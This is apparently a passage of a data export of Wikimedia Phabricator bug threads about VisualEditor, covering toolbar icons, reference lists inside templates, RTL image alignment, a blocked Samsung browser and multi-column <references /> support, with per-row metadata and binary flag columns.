+So: I believe I do not need to manually create 6 new bugs to request Czech, Hebrew, and Polish to have ve.ui.BoldButtonTool.static.icon switched to 'bold-b' and ve.ui.ItalicButtonTool.static.icon switched to 'italic-i', and Danish, Norwegian, and Swedish to have ve.ui.BoldButtonTool.static.icon switched to 'bold-f' and ve.ui.ItalicButtonTool.static.icon switched to 'italic-k'.",,,1373834454,,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,False,,,1,,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+240950,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"(In reply to comment #0)
+> Since bug 38551 have been resolved, it is _possible_ to have per-language
+> bold/italic button variants.
+
+That's about Vector, which is entirely irrelevant here.
+
+> But the only two languages _using_ this are currently English and German.
+
+Yes (and the Latin-generic ones).
+
+> Do we really need to ask language by language, when we've been through
+> all this with the Vector edit toolbar (see e.g. bug 23625, bug 23911,
+> bug 24188 etc.).
+
+See above.
+
+> We already have
+> https://commons.wikimedia.org/wiki/WikiEditor_Toolbar_Icons#List_by_language
+> --
+> cannot we use that?
+
+No. Those are low-quality PNG-only icons and not in keeping with the existing VisualEditor ones. VisualEditor's interface is in SVG. We look forward to the creation of such icons and would gladly include them. Turning this into a tracking bug so each language can be tracked against it.",,,1373812879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,1,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+53306,VisualEditor: Templated calls to <references /> (e.g. enwiki's {{reflist}}) don't get updated whilst the user is editing,"Twice I have added a bare URL as a reference to [[Paul Robert Magocsi]], which results in the [4] and [5] being added to the right spot in the text, 
+
+but ..
+
+The references section at the bottom did not display the reference.
+
+Steps to reproduce:
+1. Click add reference button
+2. Paste in URL
+3. Click 'Create new source'
+4. Click 'Insert reference'
+(Reference dialog appears)
+5. Click 'Apply changes'
+6. View the references list at bottom of article
+
+Expected results:
+the new reference is listed
+
+Actual results:
+The added reference was not visible.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373770740,1434495137.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-a6e5anlp2g7eyftsen6n,task_description,duplicate,True,c1,3,False,False,False,1,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+240460,VisualEditor: Templated calls to <references /> (e.g. enwiki's {{reflist}}) don't get updated whilst the user is editing,"Re-titling; the problem is that VisualEditor has no idea that the block of content it's been handed by Parsoid happens to contain a <references /> call, and neither does Parsoid unless it re-parses it.
+
+Consequently, we are expanding the syntax for <references /> to make {{reflist}} unnecessary. WONTFIXing this bug.",,,1385383497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6e5anlp2g7eyftsen6n,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+53295,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"An Arabic editor has reported that he/she is having difficulty with getting images to display left-justified (as they should be in RTL wikis).  How does VE handle justification of elements in RTL?  Can images be defaulted to left justify?
+This issue might apply to other elements, such as infobox templates.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373734200,1374619928.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-6vanypiuvvogqhl2yqvj,task_description,resolved,True,c1,3,False,False,True,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+239913,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"Same thing as bug 51851, and that one has more discussion despite being reported later.
+
+*** This bug has been marked as a duplicate of bug 51851 ***",,,1374619928,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-6vanypiuvvogqhl2yqvj,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+239908,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"(In reply to comment #1)
+> Please provide an exact testcase and/or link to reproduce, and browser
+> information. Might be a dup of bug 51293?
+
+Andre, here's a test case:
+
+*Go to ar.wikipedia, a RTL wiki
+
+*Enable VE in pref.
+
+*Go to your userpage or sandbox (Google Translate is calling these ""Stadiums""!)
+
+*Use media icon to bring up dialog, pick image.
+
+*Image defaults to the right.  Attempts to click'n'drag it to the left do not work.  
+
+*Curse the LTR imperialists.
+
+Duplicated on both latest Chrome and Firefox, OS 10.6.8.",,,1373930449,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-6vanypiuvvogqhl2yqvj,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1
+239904,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"Please provide an exact testcase and/or link to reproduce, and browser information. Might be a dup of bug 51293?",,,1373883480,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-6vanypiuvvogqhl2yqvj,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+53289,References inside templates don't appear in the reference list in VisualEditor,"When viewed in edit mode, references included in an infobox are not included in the references list at the bottom of the article, and the first reference in the body of an article is numbered stating from 1, ignoring any in the infobox.
+
+Example articles: [[https://en.wikipedia.org/wiki/Popocatépetl|w:en:Popocatépetl]] and [[East Toowoomba, Queensland]].
+
+Possibly related to T52474 and/or T52479
+
+**See Also**:
+T54398
+T52474
+T52749
+T54427
+T55486
+T52896",Medium,50.0,1373722680,1434419773.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-c2zo7myzzju4zjk7el5z,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+475204,References inside templates don't appear in the reference list in VisualEditor,"This seems to be fixed, although T52474 (which is similar) remains open.",,,1434419761,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,102,,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+239579,References inside templates don't appear in the reference list in VisualEditor,*** Bug 69066 has been marked as a duplicate of this bug. ***,,,1407061246,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239571,References inside templates don't appear in the reference list in VisualEditor,"Also, as seen by editing https://en.wikipedia.org/w/index.php?oldid=596381198 you cannot re-use any references that are within an infobox.",,,1392925788,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+239564,References inside templates don't appear in the reference list in VisualEditor,Gah.,,,1380067199,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+239558,References inside templates don't appear in the reference list in VisualEditor,This has started happening again. See [[OpenOffice.Org]] and [[Bristol]] for examples.,,,1379790227,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+239550,References inside templates don't appear in the reference list in VisualEditor,"Ok thanks for the quick reply, now reported as bug 52427",,,1375398248,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239543,References inside templates don't appear in the reference list in VisualEditor,"(In reply to comment #3)
+> Mike Christie at en.wp has reported this happening with notes defined in
+> image captions. Will the fix for this bug solve that when it is deployed or
+> should I file a separate bug?
+
+This is now deployed; references in image captions sounds like a further bug, sadly.",,,1375397689,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+239537,References inside templates don't appear in the reference list in VisualEditor,Mike Christie at en.wp has reported this happening with notes defined in image captions. Will the fix for this bug solve that when it is deployed or should I file a separate bug?,,,1375397290,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+239532,References inside templates don't appear in the reference list in VisualEditor,This is now fixed due to the same fixes as bug 51741 (and in Parsoid) - they're still numbered wrongly (which is bug 50474).,,,1375383745,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239527,References inside templates don't appear in the reference list in VisualEditor,"Sorry, that second possibly related bug should be bug 50749",,,1373722788,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+53287,VisualEditor: Stronger highlight of selected item in the media inserter dialog,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):
+
+When selecting an image to be inserted, the selected thumbnail has a black box around it. The lines of the box are so fine as to make them almost invisible. A much better feedback would be if, when a thumbnail is selected, it turns blue in exactly the same way as when an image in an article is selected. (A blue coloring behavior - not the same as within an article, though - does happen for some images, though not most. For example, if one searches for ""Sandbox"", four of the first twelve thumbnails do add some blue if selected, though in one case just a sliver.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373722440,1377829266.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-deqihdmtktthecojw62o,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+239446,VisualEditor: Stronger highlight of selected item in the media inserter dialog,This was done as part of the re-work of the media inserter in late July; marking as such.,,,1377829266,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-deqihdmtktthecojw62o,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+53274,VisualEditor: Samsung browser fails the blacklist,"VisualEditor is disabled on the built-in & default browser, which has the user agent:
+>Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-N7000 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
+
+",Medium,50.0,1373683500,1718626061.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_description,declined,True,c1,3,False,False,False,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1
+2358759,VisualEditor: Samsung browser fails the blacklist,See {T367735},,,1718626061,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,572,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+497001,VisualEditor: Samsung browser fails the blacklist,"@jayvdb, ah, so it was a [[http://www.gsmarena.com/samsung_galaxy_note_n7000-4135.php|Galaxy Note N-7000]]. Thanks!",,,1437858058,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,1
+496920,VisualEditor: Samsung browser fails the blacklist,">>! In T53274#1481575, @Neil_P._Quinn_WMF wrote:
+> @jayvdb, which device did you notice this on, ...
+
+This is in the user-agent I posted with the bug.
+
+> and what was the browser named? Just ""internet""? (Sorry, I know this is two years old!)
+
+The app icon was 'Internet' (upper case I)
+
+My phone has since been bricked & replaced, so I cant retest this bug.",,,1437831971,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,107,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1
+496795,VisualEditor: Samsung browser fails the blacklist,"@jayvdb, which device did you notice this on, and what was the browser named? Just ""internet""? (Sorry, I know this is two years old!)",,,1437781263,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0
+496794,VisualEditor: Samsung browser fails the blacklist,"@jayvdb, which device did you notice this on, and what is the browser named? Just ""internet""? (Sorry, I know this is two years old!)",,,1437781197,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0
+238666,VisualEditor: Samsung browser fails the blacklist,Iv given the user-agent. It is the 'Internet' browser that ships with the device. It passes the vast majority on the compliance tests for content editable.,,,1373923134,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0
+238662,VisualEditor: Samsung browser fails the blacklist,"Safari literally doesn't exist on Android phones; there is no such thing.
+
+Some mobile browsers report themselves as compatible with Mobile Safari, which appears to be what you're seeing.",,,1373916976,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+238657,VisualEditor: Samsung browser fails the blacklist,Mobile Safari isnt just iOS.  It is the *default* web browser on many Android phones.,,,1373764759,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53260,Support editing <references /> tags to set multi-column display on/off,"For VisualEditor, we are continuously-bitten by <references /> tags that are embedded within generated content like the English Wikipedia's {{reflist}} (T52769). 
+
+It would be much easier for everyone if we just moved the features provided by such templates into [[https://www.mediawiki.org/wiki/Extension:Cite|the Cite extension]] itself and allowed such templates to be replaced by the now more powerful <references /> tag.
+
+Points of agreement include:
+* The main requirements are for <references /> to support multiple columns and different list styles
+** T33597 discusses defaulting to multiple columns for all reference lists
+* Columns should be implemented using [[https://developer.mozilla.org/en-US/docs/Web/CSS/column-width|column widths]] rather than [[https://developer.mozilla.org/en-US/docs/Web/CSS/column-count|column counts]], to allow flexibility based on screen size.
+
+This task is currently blocked, on the following issues:
+* What the default settings/algorithms should be
+* Whether column widths and list styles should be customizable per-page, or only per-wiki 
+* If per-page customizations are allowed, whether they should be implemented by passing through CSS properties from the invocation of the <references /> tag or by applying CSS classes, which are then given CSS properties on a per-wiki or global level.
+
+This would involve adding:
+
+* columns (default to 1; a number between 1 and … another number? - not allowing width, obviously)
+* list-style (default to decimal; just an escaped pass-through of the CSS list-style of the OL)
+
+Then we could just bot-substitute uses of the template, and everyone would be happy.
+
+**See Also**: T53145, T8019",Medium,50.0,1373662620,1505846752.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_description,resolved,True,c1,3,True,False,False,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+932969,Support editing <references /> tags to set multi-column display on/off,"Change 378935 merged by jenkins-bot:
+[mediawiki/extensions/Cite@master] VE: Support 'responsive' attribute
+
+[[https://gerrit.wikimedia.org/r/378935]]
+",,,1505840824,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+932877,Support editing <references /> tags to set multi-column display on/off,"Change 378935 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/Cite@master] VE: Support 'responsive' attribute
+
+[[https://gerrit.wikimedia.org/r/378935]]
+",,,1505835365,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,220,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+891461,Support editing <references /> tags to set multi-column display on/off,"FYI, I've added some support to en.wp's {{reflist}} to explicitly enable and disable automatic columns.
+Next step for en.wp will be to enables responsive by default for a plain <references> element
+
+This leaves the following capabilities that are specific to Reflist, which currently cannot be fulfilled with a plain references element
+# Different list item counters
+# Differing column widths (this one is also not really compatible with automatic columns, which will create a bit of a disjunct in behaviour).
+
+This doesn't negate the fact that:
+* of course reflist is already universally used, and universally changing it will probably be seen as disruptive.
+* there is also a rather large documentation gap, atm. regarding new and old information.
+* ironically, it seems that the responsive attribute cannot be set/unset from VE
+
+An idea that played in my mind, which would be terribly WMF specific, but might make it easier to work with this problem, is if we should maybe change the VE editor of <references/> and the Template:Reflist, to be aware of each other, and maybe offer the opportunity to switch between them (""more options"", vs ""convert to references element""). Just a thought.",,,1499785680,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,210,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+559955,Support editing <references /> tags to set multi-column display on/off,">For VisualEditor, we are continuously-bitten by <references /> tags that are embedded within generated content like the English Wikipedia's {{reflist}} (T52769). It would be much easier for everyone if we just moved the features provided by such templates into the Cite extension itself and allowed such templates to be replaced by the now more powerful <references /> tag.
+
+>Reference incidences (<ref>s) inside templates are an entirely distinct problem for VisualEditor to worry about, and this isn't about that. :-)
+
+You're contradicting yourself, chuckle. I agree with the second statement, fixing VisualEditor's difficulties with templates is bug T52769. This proposal of a more powerful more powerful <references /> tag isn't going to help that bug because communities will still have various reasons for putting things inside various templates. If that's the purpose of this bug, it's a failure when it still gets templated.
+
